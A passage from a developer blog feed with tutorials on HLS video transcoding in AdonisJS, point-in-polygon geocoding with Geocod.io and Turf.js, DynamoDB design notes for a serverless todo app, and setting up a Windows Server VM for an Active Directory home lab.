    const videoFileBuffer = await s3.get(video.originalVideo)
    // Save S3 file to local tmp dir
    await local.put(`transcode/${video.id}/original.mp4`, videoFileBuffer)
    // Get reference to tmp file
    const tmpVideoPath = Application.tmpPath(`transcode/${video.id}/original.mp4`)

    const transcoder = new Transcoder(
      tmpVideoPath,
      Application.tmpPath(`transcode/${video.id}`),
      {
        ffmpegPath: ffmpeg.path,
        ffprobePath: ffprobe.path
      }
    )

    // Log transcoder progress status
    transcoder.on('progress', (progress) => {
      Logger.info(progress)
    })

    // Run the transcoding
    await transcoder.transcode()

    // After transcoding, upload files to S3
    let files
    try {
      files = fs.readdirSync(Application.tmpPath(`transcode/${video.id}/`))
    } catch (err) {
      Logger.error(err)
    }
    await files.forEach( async (file) => {
      const extname = path.extname(file)
      if(extname === '.ts' || extname === '.m3u8') {
        const fileStream = await local.get(`transcode/${video.id}/${file}`)
        await s3.put(`uploads/${video.id}/${file}`, fileStream)
      }
    })

    // Then, clean up our tmp/ dir
    try {
      await fs.rmSync(Application.tmpPath(`transcode/${video.id}/`), { recursive: true })
    } catch (err) {
      Logger.error(err)
    }

    video.hlsPlaylist = `uploads/${video.id}/index.m3u8`

    await video.save()

    return new Promise((resolve) => {
      resolve();
    })
  }
}

With that code added, let me briefly explain what we're doing.

index() - The index method queries our database for every video, then renders the videos/index.edge template with the array of videos passed into the template as state.

create() - The create method returns the view with our form to upload and create new video objects.

show() - The show method, which accepts a video id as a url parameter, queries our database to find that video by the supplied id, and renders the videos/show.edge template with both the video, and the url of our CloudFront distribution passed into the template as state.

The above 3 methods should be familiar if you've used frameworks like Rails or Laravel before. The 4th method store() is also used in Rails and Laravel conventions, but we're adding a good bit of custom functionality here, so let's walk through that in more depth.

First, our store() method accepts 2 inputs from the request, videoFile and name. Next, we use the Video model class to create a new video object, and we pass in the name variable. Since we'll be using the video id in our transcoding and storage PATHs we can't instantiate the new video object with the originalVideo or hlsPlaylist properties just yet.

After creating the new video, we can call

video.originalVideo = `uploads/${video.id}/original.mp4`

, to set that property (It doesn't save to the database until we call the .save() method though!)

Then, we use the .moveToDisk method from Drive, to upload our user's video to S3 for storage.

In the next line, we call the private this.transcodeVideo() method, and pass in our video as a parameter. Let's walk through what this method does.

First, transcodeVideo() gets references to the local and s3 Drives. Then, using the s3 Drive, we find the file we just uploaded by using the video.originalVideo property we just set, and save a reference to the File Buffer.

Then, using the local Drive, we store that file in our tmp directory to use for transcoding. If it seems redundant to upload the file to s3 then download the file locally, it kind of is, except setting up our transcoder this way makes it significantly easier to move our transcoding to a background job if we decide to implement a Job Queue later on.

With the original video file saved to our tmp dir, we then pass that file to our transcoder, and call the transcoder.transcode() method. The transcoder will emit progress events everytime ffmpeg updates us on our transcoding progress, so I've included Logger.info calls to console log that status as it comes through. Our frontend is very bare, so we won't be getting any progress updates or feedback on the frontend.

Finally, after the transcoder finishes running, we loop over the Transcoder's output directory and upload the new .ts and .m3u8 files needed for HLS playback. After the files are uploaded, we remove the files in the /tmp dir, then set the hlsPlaylist property on our video object before calling the video.save() method to write those property updates to the database.

Back in the store() method, after this.transcodeVideo() completes running, we redirect the user to the Videos index, where their newly uploaded video should appear.

There's a lot happening in those 2 methods, and the code could (and should) be refactored before going into any sort of production usage, but for our example it works just fine.

You'll also remember that in a few of the methods we made mention of templates. These are references to Edge templates, AdonisJS's templating engine. Let's create those files now by creating a new folder resources/views/videos And create three new files:

resources/views/videos/create.edge
resources/views/videos/index.edge
resources/views/videos/show.edge

(This isn't really a frontend tutorial, so I'm loading video.js via cdn where needed, and I'm foregoing any styling or design. Basically, it ugly, but it works.)

create.edge

<h1>Create Video</h1>
<a href="/videos">Back</a>
<hr >
<form
  action="{{ route('VideosController.store') }}"
  method="POST"
  enctype="multipart/form-data"
  >
  <div>
    <p>
      <label for="name">Video Name</label>
    </p>
    <input type="text" name="name" />
  </div>
  <div>
    <p>
      <label for="videoFile">Choose a video file:</label>
    </p>
    <input type="file" name="videoFile" accept="video/mp4" />
  </div>
  <br />
  <div>
    <button type="submit">Create Video</button>
  </div>
</form>

index.edge

<h1>Videos Index</h1>
<a href="/videos/create">Create new Video</a>
<hr />

<style>
.card {
  margin-top: 2rem;
  margin-bottom: 2rem;
  padding-top: 1rem;
  padding-bottom: 1rem;
  box-shadow: 0 4px 8px 0 rgba(0,0,0,0.2);
  transition: 0.3s;
}
.card:hover {
  box-shadow: 0 8px 16px 0 rgba(0,0,0,0.2);
}
.container {
  padding: 2px 16px;
}
</style>

@each(video in videos)
  <div class="card">
    <div class="container">
      <p><strong>Video Name:</strong> {{ video.name }}</p>
      <a href="/videos/{{ video.id}}">Watch</a>
    </div>
  </div>
@end

show.edge

<head>
<link href="https://vjs.zencdn.net/7.19.2/video-js.css" rel="stylesheet" />
</head>

<h1>Show Video</h1>
<a href="/videos">Back</a>
<hr />
<p><strong>Video Name: </strong> {{ video.name }}</p>
<video-js id=vid1 width=852 height=480 class="vjs-default-skin" controls>
  <source
     src="http://{{ cloudfront.url }}/uploads/{{ video.id }}/index.m3u8"
     type="application/x-mpegURL">
</video-js>
<script src="https://vjs.zencdn.net/7.19.2/video.min.js"></script>
<script>
var player = videojs('vid1', {
  limitRenditionByPlayerDimensions: false,
});

player.play();
</script>

We're almost ready to test our app, the last step before we can do so is to configure our routes to connect to our Videos Controller.

Open the start/routes.ts file and add the following routes below the Hello World route.

Route.get('/videos/create', 'VideosController.create')
Route.get('/videos', 'VideosController.index')
Route.get('/videos/:id', 'VideosController.show')
Route.post('/videos', 'VideosController.store')

Once those routes are added, start the Adonis server in development mode by running:

npm run dev

In a web browser, open up http://localhost:3333/videos to find the videos index page.

Click the "Create new Video" to open up /videos/create. I'm uploading a copy of Blender's Big Buck Bunny. Once you click the "Create Video" button, no feedback will be shown on the frontend. But, if you check the terminal where you're running your adonis server, you should start to see ffmpeg progress after a couple seconds.

(I'd also recommend not using a huge video file just due to the lack of feeback)

After video transcoding finishes, you'll automatically be redirected back to the video index, but this time, your new video should be listed.

If you click the "Watch" link, you'll be taken to the Show video page, where (fingers crossed) your video will be available for HLS playback inside a video.js player.

It works! To verify that our video is being streamed to us via HLS, you can open up the developer tools in the browser of your choice (I'm using Chrome) to look at the network requests.

If we look at the network tab you can see the various .ts files being loaded for our video. (It's only loading at 720p, but that's a frontend video.js issue so we won't troubleshoot that here)

If we do want to test HLS adaptive playback though, we can use the Network throttling feature in Chrome to simulate a lower bandwidth connection. I'm using the "Slow 3G" preset.

You can see that on the slower connection, our HLS stream adapts to start using the lower quality (thereby smaller file size) versions to give the user a better playback experience.

We now have a primitive, but functional, HLS transcoder and VOD streaming platform. In the next installment, we can implement CloudFront Pre-signed Cookies to limit access to our videos, and also implement a Job Queue, to give the end-user a better experience during transcoding.

Geocoding Against Custom Geography with Geocod.io & Turf.js

Adam Katora — Tue, 05 Apr 2022 13:31:24 +0000

Github Repo:

For most of my geocoding needs, Geocod.io more than fits the bill. Their API provides a fast and simple way to convert addresses into geographic coordinates, get congressional or state legislative districts, and much more. I'd recommend giving their API docs a read if you have an upcoming project that you need geocoding for.

(Full disclosure: I'm NOT sponsored by Geocod.io, I just like using their service and it makes my life easier)

Despite all these great features, there are some instances where we need to check against geographic boundaries that Geocod.io doesn't have. An example of this would be seeing if someone's address is inside a specific City or County Council district.

Fortunately, we can use turf.js to extend Geocod.io's functionality to fit our own specific needs.

The 1,000 foot overview:

To give you the gist of what we'll be doingt:

First, we'll still use Geocod.io to convert our Address into latitude and longitude coordinates. Doing so allows us to take those coordinates, and work with them through the turf.js module.

Next, we'll take the geoJSON file of our custom geography, and use the node-geojson module to extract the features (more on these later) into a format we can pass into turf.js as a polygon.

Once we have those two things ready to go, we'll use a turf.js function booleanPointInPolygon, to check if our coordinates is inside one of those polygons.

If that all sounds a bit confusing now, don't worry, things will make more sense once we see it in action, and also once we start visualizing some of our spatial data.

The Code:

Let's start with a fresh project, I'm creating a new directory called turf-tut to hold our working files in. Create that directory, then cd inside and run the following 2 commands to install our dependencies:

npm install geocodio-library-node node-geojson @turf/turf

npm install dotenv --save-dev

Everything should be pretty self-explanatory here, the only thing that might look a little weird is that we'll be installing dotenv as a dev dependency to store our Geocodio API Key. It's a bad idea to hard code API keys.

Once that finishes installing, update your package.json file to add the following start script. Your final package.json should look something like this:

(Note: the version numbers to the right of your packages might be different from mine. If you copy/paste this entire .json file, you'll need to re-run npm install which will reinstall all these packages from the package.json file)

{
  "scripts": {
    "start": "node -r dotenv/config index.js"
  },
  "dependencies": {
    "@turf/turf": "^6.5.0",
    "geocodio-library-node": "^1.4.0",
    "node-geojson": "^1.0.2"
  },
  "devDependencies": {
    "dotenv": "^16.0.0"
  }
}

Create a .env file and add the following line to it:

GEOCODIO_API_KEY="HelloWorld!"

Finally, create an index.js file, and add the following code:

const GEOCODIO_API_KEY = process.env.GEOCODIO_API_KEY

const Geocodio = require('geocodio-library-node');
// const geocoder = new Geocodio('YOUR_API_KEY');
const geoJSON = require('node-geojson');
const turf = require('@turf/turf')

async function main() {
    console.log(GEOCODIO_API_KEY)
}

main();

Now if we run npm start we should see the below response:

❯ npm start

> start
> node -r dotenv/config index.js

HelloWorld!

Take note that since we called -r dotenv/config in our start script, we could access those env vars through the process.env object without having to configure that in our code.

You'll also notice that we're executing our code inside async function main(), this is to avoid issues with top-level awaits, a topic that I won't go into here.

Before we can dive into writing code, we have 2 final setup steps. 1 - downloading some geoJSON data to work with, and 2 - setting up a Geocod.io account.

For geoJSON, go to: https://www1.nyc.gov/site/planning/data-maps/open-data/districts-download-metadata.page and select "City Council Districts (Clipped to Shoreline)" and click the globe that says "GeoJSON". You'll be redirected to a text webpage with the GeoJSON data, save the data from that website, or grab the file from the example repo.

Data Side Note:

When working with public data like this, especially datasets that deal with things like legislative districts, it's important to note that the possibility of the data being inaccurate or incomplete always exists.

Just be aware that nyc.gov provides this data as-is for informational purposes only as stated in their disclaimer

For Geocod.io go to dash.geocod.io/register, sign up for an account, then once you're logged in, hit the "API Keys" button on the left-hand sidebar, then hit the "Create an API Key" button. The only permissions we'll need are GET /v1.7/geocode. Give your key a name, save it, then you should be able to copy your key and paste it into the .env file we created earlier in the GEOCODIO_API_KEY variable.

Let's return to our index.js file and start building out our geocoder.

With your API Key now stored as a .env variable, we can update our index.js, change the Geocodio config line like below:

...
// const geocoder = new Geocodio('YOUR_API_KEY'); <- Change this
const geocoder = new Geocodio(GEOCODIO_API_KEY); // <- To this
...

Then update our main() function:

async function main() {
    var geoResponse = await geocoder.geocode('City Hall Park, New York, NY 10007')

    console.log(JSON.stringify(geoResponse, null, 4))

    var lng = geoResponse.results[0].location.lng
    var lat = geoResponse.results[0].location.lat

    var pt = turf.point([lng,lat]);

    console.log("Our coordinates are: ", [lng, lat])
    console.log("Our point is: ", pt)
}

It's only a few lines of code, but we have a lot going on here. To start, we create a variable, geoResponse, and set it equal to the value of the promise returned from geocoder.geocode(). In the above code I supplied the address City Hall Park, New York, NY 10007, that is (as you probably could assume) the address for New York City Hall.

Next, we console.log the response (I just used JSON.stringify to make sure everything gets printed) so you can see what the API response schema looks like (you could also check the docs for this). Then, we extract the Longitude and Latitude from our geocoder.geocode response and store them as variables.

Next, we create a variable pt which we set as a turf.point(). Note that the .point() function accepts a single array of Longitude,Latitude. Turf.js uses the longitude first convention as does GeoJSON. If you take those coordinates and plug them into Google Maps they'll need to be latitude first, so it's good to keep track of this while we work.

Finally, I console log our coordinates array, as well as the turf point pt.

After running npm start again, you should see an output similar to the following.

❯ npm start

> start
> node -r dotenv/config index.js

{
    "input": {
        "address_components": {
            "city": "New York",
            "state": "NY",
            "zip": "10007",
            "country": "US"
        },
        "formatted_address": "New York, NY 10007"
    },
    "results": [
        {
            "address_components": {
                "city": "New York",
                "county": "New York County",
                "state": "NY",
                "zip": "10007",
                "country": "US"
            },
            "formatted_address": "New York, NY 10007",
            "location": {
                "lat": 40.713941,
                "lng": -74.007401
            },
            "accuracy": 1,
            "accuracy_type": "place",
            "source": "TIGER/Line® dataset from the US Census Bureau"
        }
    ]
}
Our coordinates are:  [ -74.007401, 40.713941 ]
Our point is:  {
  type: 'Feature',
  properties: {},
  geometry: { type: 'Point', coordinates: [ -74.007401, 40.713941 ] }
}

Great, we now have a means to convert an address into lng,lat coordinates, and convert that into a turf.js point. If you'll recall back to our 1,000 ft overview, that's one of the two input parameters we need for booleanPointInPolygon.

So let's now turn our attention to our geoJSON file. If you haven't worked with geoJSON before, it might be worth briefly familiarizing yourself. I'm by no means an expert on GeoJSON, but I'll do my best to explain enough to get through our use case.

GeoJSON is valid JSON (ie you can save the file as either a .json or .geojson), however, GeoJSON has a pre-defined format for how its data should be structured, which allow different applications to share GeoJSON between them. Here's an example of GeoJSON data:

{
  "type": "Feature",
  "properties": {
    "name": "Dinagat Islands"
  },
  "geometry": {
    "type": "Point",
    "coordinates": [125.6, 10.1]
  }
}

If that looks familiar, it's because our turf.point() from earlier is actually valid GeoJSON itself. Taking a closer look at the geojson file, you'll also notice that the first value, type, is equal to Feature. In this case, features refer to Simple Features, which are things like points, lines, polygons, multi-points, etc (think back to high school geometry).

Additionally, geojson files can have the type of FeatureCollection, which (again you probably guessed) is comprised of a collection of Features. FeatureCollection, is the type of the NYC Councilmanic districts file that we downloaded earlier.

Another great tool is this online geojson editor, courtesy of Tom MacWright. You can either copy / paste, the contents of our geoJSON file onto that website, or use the file upload feature to load it up.

After loading the file, you'll see a map of New York City with various polygons overtop of city limits. Each of those polygons is a distinct City Council district, and is a geoJSON Feature. (See, told you it'd be easier to visualize).

If you try clicking on a specific polygon, you'll see that geojson.io shows a pop-over tooltip with more info about that polygon. This additional info is the properties value on our GeoJSON file. In the below image, I zoomed in on the map to City Hall, and clicked the polygon to pull up the properties for that feature. You can see that it has the properties, OBJECTID, CounDist, Shape__Area, Shape__Length. (The other properties geojson.io adds so that you can change the polygon line & fill colors, etc. Just disregard those).

The property that we're interested in is CounDist, that refers to the number of the NYC Council District.

Side Note: The properties Shape__Area and Shape__Length were included on the geoJSON file when we downloaded it. GeoJSON doesn't automatically compute those values for you. But, Turf.js has the area function that you could use to implement size calculation if you wanted.

Geojson.io also has a nice feature Table view, which further helps understand how our geojson data works. If you click a cell in the Table view of our geojson file, you'll see the map zooms you to be centered on that polygon. You'll also notice that you can edit the contents of the cell. I mentioned this earlier, but the table view really highlights it, the OBJECTID field != Council District.

Turning our attention back to index.js (you can comment out our existing console.log calls for now) add the following new code inside our main() function at the bottom:

var geodata = await geoJSON.createUsingFile("./nyc-city-council.json");
var features = geodata.GetAllFeatures();

features.forEach(feature => {
  console.log(feature.properties)
})

In this new section of code we're creating a new variable, geodata, and setting it's value to the return of geoJSON.createUsingFile(). That does 2 things: 1 - it loads our geoJSON from file into memory so our application can manipulate the geoJSON file, but 2 - we also get access to some nice helper functions from the node-geojson module such as GetAllFeatures() which we use in the next line to save each of the features from our geoJSON file into a new array.

And, as we just saw, each feature in our geoJSON is a file, so when we call the .forEach function over our features array, we console.log the properties of each feature, which should be OBJECTID, CounDist, Shape__Area, Shape__Length.

After updating the code and running npm start again, you should see output like the following:

> start
> node -r dotenv/config index.js

{
  OBJECTID: 1,
  CounDist: 12,
  Shape__Area: 137870996.813004,
  Shape__Length: 56950.2637871384
}
{
  OBJECTID: 2,
  CounDist: 18,
  Shape__Area: 106383536.643585,
  Shape__Length: 62147.4707677974
}

...rest

{
  OBJECTID: 51,
  CounDist: 17,
  Shape__Area: 135003397.512329,
  Shape__Length: 119656.385650236
}

Finally, update our features.forEach() loop to the following:

features.forEach(feature => {
  // THIS IF ELSE IF VERY IMPORTANT!!!
  if(feature.geometry.type == 'Polygon') {
    var poly = turf.polygon(feature.geometry.coordinates);
  } else if(feature.geometry.type == 'MultiPolygon') {
    var poly = turf.multiPolygon(feature.geometry.coordinates)
  }

  var isPointInPoly = turf.booleanPointInPolygon(pt, poly);

  if(isPointInPoly) {
    console.log("Your point is in Council District: ", feature.properties.CounDist)
  }
})

Once again, we've added only a few lines of code, but there's a lot going on here. So let's break it down. The first thing we do is check if our feature is of type Polygon or MultiPolygon. It is very important we run this check because if we try passing a MultiPolygon geoJSON feature to the Polygon turf.js we'll get a confusing error message and spend a couple hours banging our heads against a keyboard until we figure it out.

Don't ask me why I know that.

Once we have our correct polygon type, we then pass our point, pt, from earlier and polygon into the turf.booleanPointInPolygon() function. That function (again, this is kinda obvious here) checks if the point is inside the polygon, and if so, returns True.

Finally, if we hit a match, we console log back to the user, which feature (aka council district) the match was in.

(For clarity I saved the result of booleanPointInPolygon to a new variable, but you could just as easily run the if() check on the function itself.)

From looking at the pdf map on the nyc.gov site, I know that City Hall should be in district 1, but now for the moment of truth. Can our app figure that out?

After saving index.js, run npm start one last, fateful time.

> start
> node -r dotenv/config index.js

Your point is in Council District:  1

It's a thing of beauty. Look out, Uber.

Extra Credit:

If we really want to test how well our Geocoder does, let's pull an address off Governor's Island, to see if the MultiPolygon is really testing all the polygons.

Originally, I wanted to use the address Statue of Liberty, because the GeoJSON file from ny.gov indicated it was also in Council District 1. There were 2 problems with that though, 1 - Geocod.io had a hard time converting the very non-standard address into lat, lng coordinates, and 2 - The Statue of Liberty is technically in New Jersey so I don't know what that's included in the GeoJSON file.

Since resolving inter-state disputes is also outside the scope of this tutorial, I pulled the address for Taco Vista, a TexMex restaurant at 140 Carder Rd, New York, NY 10004 instead. Sounds tasty.

Change line 10 in index.js to geocoder.geocode('140 Carder Rd, New York, NY 10004'), then run npm start.

Once again, Council District 1.

Conclusion

GeoSpatial data can be really fun (and really frustrating) to work with. I hope this example was helpful for someone looking to get their toes feet and dive into working with spatial data, geoJSON and, turf.js more.

A good further extension of this project would be to integrate it into Express.js as a backend api, then use Mapbox, or leaflet.js to build a frontend to display the points and polygons on a map.

Serverless DERN TODO App Pt. 2.5

Adam Katora — Sat, 05 Mar 2022 13:41:01 +0000

Some thoughts and ideas

This write-up in the Serverless DERN TODO App series won't involve any actual code or further development to our app. So feel free to skip ahead if you're just here for the code.

I just wanted to give a rough road map of where I plan on taking this project, what some of the potential architectural challenges or limitations might be, and also think through some possible solutions.

But first, a meme.

QUESTION: DERN Stack? That just sounds like AWS Amplify but with more steps.

ANSWER: I mean yeah, kind of, but doing things this way gives us a lot more control over each piece of our tech stack. Plus, it's fun way to learn more about Claudia.js, DynamoDB, API Gateway, and all sorts of other AWS tools.

Speaking of other AWS Tools, if you're interested in learning more about AWS Amplify, I'd definitely recommend checking it out. The last that I had played around with it, it was still pretty new in terms of fully-developed features, and in-depth documentation, but there was a lot of cool stuff under the hood like GraphQL, and easy integration with s3 storage.

DynamoDB

Turning our attention back to our DERN app, up until now we've been using DynamoDB a little bit wrong. Both the Dynamoose and DynamoDB docs specifically mention that scans are significantly less performant than query. Significant enough that most people recommend avoiding scans altogether unless your're performing ETL operations (and hence would need the entire table) or really know what you're doing.

This is due to the fact that scan iterates over each item in our table, whereas query uses the partition key (aka our primary key) to optimize the query. Query is how DynamoDB offers that single-digit millisecond latency at scale, and Scan slows down the more data (aka items) that your table has. Not good.

What is good, however, is that using scan during development does give us a quick way to get our application up and running, and start to get a sense of what data access patterns our application requires.

If you'll recall back to Part 2, for our Register User feature we scanned the database to check if anyone already had the username we wanted. Essentially, we are enforcing a unique constraint on that attribute, as DynamoDB doesn't have a built-in unique constraint like RDBMS's do.

If the number of users in our application (regardless of active or inactive) started to grow, this would start to slow down the Register and Login functions, because they're searching over the entire database with every scan.

Finding user's by their username is an access pattern we need, so we need a way to efficiently query that information.

One solution this issue, is by using a Global Secondary Index or GSI. GSI's allow us to create a partition key and a sort key, on a specific attribute in our table (in this case username).

That's merely scratching the surface of GSIs, sort keys, local indexes and all the great features DynamoDB offers. But, we'll be in a much better place once we start to optimize our tables in future parts of this series.

Future Plans & Features (and more Dynamo)

The first (and probably most obvious feature) we'll be implementing is the ability to create Todos. Let's be honest, it's not much of a "Todo" app if it can't even do that.

Fortunately, this is fairly easy once we make the corrections to our DynamoDB tables mentioned above. This feature does however, bring up the interesting concept of "joins", which I put in quotes since joins don't technically exist in DynamoDB.

While joins don't technically exist in DynamoDB, we're still kind of applying the concept of joins to our data, by splitting the Todo items into their own table, then adding a reference back to the owning user's id.

We can then create a GSI on the userId attribute in our Todos table, and very quickly query for every Todo owned by a user.

This "join" concept does open the possibility for some even more interesting features later down the line (which is what I was ultimately trying to get at with this segment) like sharing access to Todos with other users, creating Organizations with multiple users, fine-grained access control and a lot more.

These features are things that I haven't yet had the chance to try and implement, but I think they'll make for some very interesting challenges, and as our app continues to grow and take shape I think we'll be better able to visualize and tackle those challenges.

Overall it's a lot of ideas and things I'd like to try, and hopefully will be able to in this series, time permitting. If only there was some sort of app I could keep track of all these Todos in...

Building an Active Directory Pentesting Home Lab in VirtualBox

Adam Katora — Fri, 04 Mar 2022 01:39:38 +0000

Active Directory is often one of the largest attack services in Enterprise settings. In fact, the OSCP Exam was recently updated to have less emphasis on buffer overflows but added a section dedicated to Active Directory.

AD can be confusing at first to learn, but one of the best ways to learn anything in software, is by installing and setting it up ourselves.

Downloading Windows Server 2019

Find the Windows Server 2019 download from the Microsoft Evaluation Center. Scroll down to the option "Windows Server 2019", and select the ISO download option, which Microsoft is apparently labeling as "Please select your experience:"

Before the download will start, you'll be prompted to fill out some personal information. It asks for a work email, but a personal email (ie gmail, etc) should work fine too. Finally select your language, then start the download.

After clicking download, you should see the file pop up in your downloads bar, and the webpage will update to reflect the file name of the Windows Server 2019 Eval version you're downloading.

Installing Windows Server 2019 in VirtualBox

In VirtualBox, start by clicking the New VM button, the blue spikey looking thing. In the VM Options pop-up, for Name type in "Windows Server 2019", for Machine Folder select a folder on your host computer where you want to store your VM files. Select "Microsoft Windows" for Type, and for Version select "Windows 2019 (64-bit)". Then click "Continue".

In the next options panel, "Memory size", you can leave the default at 2048MB, aka 2GB, which is the minimum required memory amount for Windows Server 2019, or. But if you have the host RAM to spare, bumping up the VM memory to 4096MB or a little more is reccommended.

(For our pentesting lab, these small values are fine, obviously though in a production setting you'd need significantly more RAM to run smoothly)

For the "Hard disk" panel, select "Create a virtual hard disk now", then select "VDI (VirtualBox Disk Image)" and hit Continue. For "Storage on physical hard disk" I'm selecting the "Dynamically allocated" option.

The "File location and size" should default to a new folder with your VM name from earlier, in the directory you also specified in the earlier step. I'd reccommend leaving this default so that all the VM files are contained in a single location. I'm leaving my VDI size at 50.00GB.

After clicking through that, our new VM should appear in the left-hand sidebar, I have a few other VM's already installed which is why my machine appears further down on the list.

Now that we have a VM created, we still need to install Windows Server 2019 onto our Virtual Machine. With the new VM highlighted (the background color should be a light blue) click the settings button.

In the new pop-up, select "Storage", then under the "Storage Devices" window, click the empty disc icon. On the right-hand windows "Attributes", click the blue disk icon, click "Choose a disk file", then find the Windows Server 2019 .iso file we downloaded earlier. The filename will probably be the same or similar to: 17763.737.190906-2324.rs5_release_svc_refresh_SERVER_EVAL_x64FRE_en-us_1.iso. If the iso is loaded up correctly, you should see the "Empty" next to the disk icon change to the .iso file name. Click "OK" to save changes and close the pop-up.

In VirtualBox, the steps that we just took are equivalent to inserting an install CD (or in this day and age, an install USB). So now we'll need to turn on the VM so we can actually install Windows Server from that .iso.

With the new VM still highlighted, click the green "Start" arrow. A new window should pop-up on your host machine. This is our Server 2019 VM. After it finishes initially booting up, you'll see the Windows Server 2019 installation prompt.

Leave the default settings as-is, and click next. You should see a new tab with a single "Install Now" button. Click that, and on the "Windows Setup" tab that appears, You should see 4 different versions of Server 2019. The option that we want is "Windows Server 2019 Standard Evaluation (Desktop Experience)".

It's important to select the "Desktop Experience" version of Server 2019, this is the version of Windows Server that has a GUI similar to a standard Windows 10 install. In prior versions of Windows Server, you were able to install a GUI after initial installation, but that is no longer the case, so let's make sure we're installing the GUI version from the start.

After selecting the correct version, you'll need to accept Windows License terms. Then select the "custom install" version, since this is a fresh machine and we're not upgrading from any previous versions. Our VirtualBox VDI should appear in the Windows Install tab as "Drive 0 Unallocated Space", it should be selected by default, so click the Next button.

This will start the actual installation of Windows Server 2019 Desktop Experience. Like the download step from earlier, this process will take a little bit of time to run, so let Windows do it's thing through the install process. You'll probably notice that the Virtual Machine restarts a couple times through the install. This is normal.

Initial Login & Setup

Once the install is finished, you'll need to supply a few more configuration settings to complete setting up your Windows Server VM. The built-in administrator username is pre-selected as "Administrator", for a password, I'm using P@ssw0rd!, not very secure, but it'll work for a small-scale home lab.

Additionally, back in the VirtualBox manager, you can save the Administrator password for this machine by clicking "Settings", in the "General" tab, select "Description" then add some notes with our machine credentials.

Once you've entered and saved our Administrator password, Windows should finish applying those new settings, and then open up a to a standard lock screen which should look familiar to you if you've used Windows 10 before.

To login to our Windows Server VM, we'll need to hit "Ctrl + Alt + Delete". I work on both macOS and Windows Hosts, and trying to figure out the equivalent keys between various hosts can be a pain. Fortunately, VirtualBox has a nice built-in feature that allows us to input "Ctrl + Alt + Delete".

On a macOS host, make sure you have your Windows Server 2019 VM selected, then in the upper menu bar, select "Input", hover over the "Keyboard" option, then click "Insert Ctrl-Alt-Delete". That dropdown will also show you what the keyboard shortcut on your host is to enter that without having the select the menu bar option.

Once that's entered, you should be able to type in our Administrator password, P@ssw0rd! and login.

On initial login, I got an automatic prompt asking if I wanted to turn on "Network Discovery", I went ahead and turned that on.

Side Note: To the best of my knowledge, enabling "Network Discovery" doesn't affect ICMP settings. Ie, if you were to try to ping your Server 2019 VM from another host in your VirtualBox network right now, it wouldn't work. That's skipping ahead a couple steps though, so don't worry too much about it right now if that doesn't make sense to you.

You'll also most likely see that the "Server Manager" program starts up by default. The astute readers among you might have noticed a tiny bright Orange "1" followed by a large heading labeled "Configure this local server". I think that means Windows wants us to click on it.

Clicking on that link takes us to the "Local Server" configuration page, which can also be access via the left-hand sidebar.

There's two main settings to take note of at the moment, the first is our Computer Name: "WIN-K3SDKO5BM8I", the second is the name of our Workgroup: "WORKGROUP".

I won't go into too much detail about the differences between a Workgroup and a Domain but one of the key differences for our use case is that in a Workgroup, user accounts are managed by individual computers, whereas in a domain user accounts are managed by a central server or servers, called domain controllers.

You might also hear it explained that in a Workgroup, all the various computers in that Workgroup are essentially peers, and no one single computer has elevated or admin credentials above the others in that Workgroup. Domains, conversely, have that central domain controller as the top-level administrative component, and as such have admin rights over the various user accounts within the Domain.

Active Directory Domains is what you're more likely to see in larger scale, or Enterprise environments, and that's what we're trying to set up (albeit on a smaller scale) for our local pen-testing environment.

With that explanation out of the way, let's go ahead and get started on our AD setup.

Installing Active Directory

To start, let's rename our Windows Server 2019 Computer Name to something reflective of the fact that this will become our Domain Controller. Click the light-blue computer name, then in the "System Properties" pop-up, select the "Change..." button down next to the "To rename this computer...." text.

I'm renaming my computer the very creative name, ADAMDC. Adam, for my name, and DC to reference the fact that this is our domain controller.

Hit "OK" and after a few seconds that should update. You'll also see a pop-up stating that you'll have to restart in order for our name change to take effect. Hit "apply" in the "System Properties" window to save the changes. But choose the "restart later" option, to delay the automatic restart.

We still need to setup some VirtualBox networking options, something we can't do while our VM is running, so this is a good opportunity to shutdown our VM.

Click the "Windows" button in the bottom left-hand screen, then the power button icon and select "Shut down". This should be very familiar if you're used to working with Windows 10. What might not be familiar is the next pop-up, selecting a reason for shutting down.

In our case, we'll just select "Other (Planned)" as the reason every time we shutdown our Windows Server VM. This isn't a production server, so it's not really important or even necessary to log reasons for shutdown.

If you do shutdown without go through that process (ie you just close your virtual machine window) you'll get a mildly annoying pop-up the next time you turn on the vm. It's kinda like Microsoft's version of Mr. Resetti.

Once that completes shutting down, click back into your "VirtualBox Manager".

Installing Active Directory - VBox Network Configuration

We haven't look too much into our actual VirtualBox setup so far, other than what was absolutely needed to get our Windows Installation up and running. Now though, we're going to want to make sure we have our networking options setup and configured correctly before we move onto to actually installing Active Directory.

VirtualBox has a couple different types of virtual networking options, but the one we're going to focus on is a "Host-Only" adapter. TODO MORE INFO

First, ensure that you have a network setup in VirtualBox.

Click "Tools" and then the hamburger menu looking thing to the right of it. You should see 4 options pop-up, "Welcome", "Media", "Network", "Cloud". Network is the option we want so click on that.

If you don't already have a network click the "Create" button to make a new one, otherwise click properties to edit your existing one. Make sure the "DHCP Server" option is disable, and also select "Configure Adapter Manually"

Give your adapter the settings of:

IPv4 Address: 192.168.56.1

IPv4 Network Mask: 255.255.255.0

Still in VirtualBox Manager, select your Windows Server VM again, and select the options for that VM.

In the Options pop-up, choose the "Network" tab, I have a NAT adapter in the Adapter 1 slot, so in Adapter 2 I've checked "Enable Network Adapter", set the Attached to: value as "Host-only Adapter", and for Name:, that's the name of the network we just created, I've selected my VBox network.

Save those settings, and it's time to start up our Windows Server VM Again. Click the green start arrow. Then login with our administrator credentials.

When you login, Server Manager should pop-up automatically again. Confirm that our computer rename from earlier successfully completed, then minimize Server Manager, and open up Command Prompt.

In command prompt, type the following:

ipconfig

You should see an output with two network adapters listed (Virtualbox treats these as Ethernet connections). The first Network should be your NAT. That's how your VM gets external internet access. The second adapater should be the host only adapter we just setup, so you should notice that the IP will be in the range of the subnet that we specified when setting up the network a few moments ago.

Now we need to manually assign our Windows Server Computer a static IP for our host-only network. Open up Control Panel, then select "Network and Internet", then "Network Sharing Center". You should once again see our two networks listed.

Click the host-only network Ethernet (should most likely be Ethernet2), then select "Properties", then in the properties pop-up select the "Internet Protocol Version 4 (TCP/IPv4)" so that it is highlighted. Then click properties for IPv4.

A new window should popup, and "Obtain an IP address automatically" is most likely pre-selected. Choose "Use the following IP address:"

IP Address: 192.168.56.2

Subnet mask: 255.255.255.0

Default gateway: 192.168.56.1

Preferred DNS server: 192.168.56.2

With those settings inputted, click through the various "OK" buttons to apply the changes.

Back in command prompt type cls to clear out previous ipconfig command. Then, re-run ipconfig.

New IP, who dis?

